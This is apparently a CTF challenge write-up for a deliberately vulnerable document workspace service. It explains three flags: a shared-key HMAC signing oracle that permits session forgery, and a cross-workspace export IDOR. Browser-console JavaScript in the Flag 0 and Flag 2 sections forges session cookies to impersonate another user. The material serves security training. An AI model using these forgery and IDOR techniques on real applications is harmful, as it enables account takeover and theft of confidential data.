> **CONFIDENTIAL FOR DEFCON PEOPLE ONLY

Flagstore	Difficulty	Module / Feature	Vulnerability Type
Flag 0	⭐ Easy	Confidential Workspace Memo	Session Impersonation & Confidential Disclosure
Flag 1	⭐⭐ Medium	Document Exporter	Cross-Workspace Export Insecure Direct Object Reference (IDOR)
Flag 2	⭐⭐⭐ Hard	Executive Member Bio	Cryptographic Signature Domain Confusion & Oracle

Same login and register setup as pulsechat This one is first service and is easy overall.

Flag-0

1. **Intended Security Boundary:**
   When an unauthenticated viewer or unrelated user accesses `GET /api/workspaces/mradu1-vault`, `is_owner` is `False`. The query filters out confidential items (`AND is_confidential = 0`), hiding Document #1.
2. **The Flaw:**
   Because session tokens lack cryptographic domain separation (see Flag 2), any authenticated tenant can generate an HMAC signature for identifier `1` via the signing oracle `/api/documents/1/share-link`. Setting cookie `user_id=1; session_sig=<sig>` grants `mradu2` full owner rights (`is_owner = True`) over `mradu1`'s workspace, revealing all confidential documents.

Flag-1

1. **Root Cause:**
   The export handler properly validates that the authenticated user owns `workspace_id`. However, the subsequent database query selects the target document solely by `id = ?`. It **never checks** that `document.workspace_id == workspace_id`.
2. **Exploitation Path:**
   `mradu2` creates their own workspace (`workspace_id = 2`). The scoring engine provides target document ID `2` in public round info. `mradu2` calls `GET /api/workspaces/2/documents/2/export`. The ownership check passes on Workspace `2`, and the server returns `mradu1`'s confidential Document `2`.

Flag-2

1. **Lack of Cryptographic Domain Separation:**
   The application uses the exact same function `sign_token(identifier)` and symmetric key for **both session authentication** (`user_id`, `session_sig`) and **document share links** (`doc_id`, `sig`).
2. **Arbitrary Signing Oracle:**
   The `/api/documents/{doc_id}/share-link` endpoint accepts any integer `doc_id` in the URL without checking whether the document exists or whether the user owns it.
3. **Exploitation Path:**
   - Flag 2 is stored in `mradu1`'s profile `bio` column.
   - `mradu2` calls `GET /api/documents/1/share-link`. The server returns `sig = HMAC(SECRET_KEY, "1")`.
   - `mradu2` sets cookie `user_id=1; session_sig=<sig>` and requests `GET /api/me`.
   - The server validates `verify_token("1", sig)` → **VALID**, returning `mradu1`'s profile and Flag 2.

---

how mradu2 exploits flag-0

1. Open the application sign in as mradu2 in the top navigation search bar type mradu1-vault and explore. it will show no document in this repo because confidential documets are hidden.
2. Inspect and execute the following query

```
fetch('/api/documents/1/share-link')
  .then(r => r.json())
  .then(data => {
    document.cookie = `user_id=1; path=/; max-age=86400`;
    document.cookie = `session_sig=${data.sig}; path=/; max-age=86400`;
    location.reload();
  });
```

3. Workspace will now show the owner access. and rthe document will have a flag.

---

flag-1 exploits

1. Sign in as mradu2 and create workspace (e.g. Workspace id = #2). .
2. go to document explorer tab. and enter your workspace but victims document id. extract record. you will get the flag.

---

flag-2 exploits

1. Open inspect and then execute the following script:

```
const resp = await fetch('/api/documents/1/share-link');
const json = await resp.json();
console.log("Forged session signature:", json.sig);
document.cookie = `user_id=1; path=/; max-age=86400`;
document.cookie = `session_sig=${json.sig}; path=/; max-age=86400`;
location.reload();
```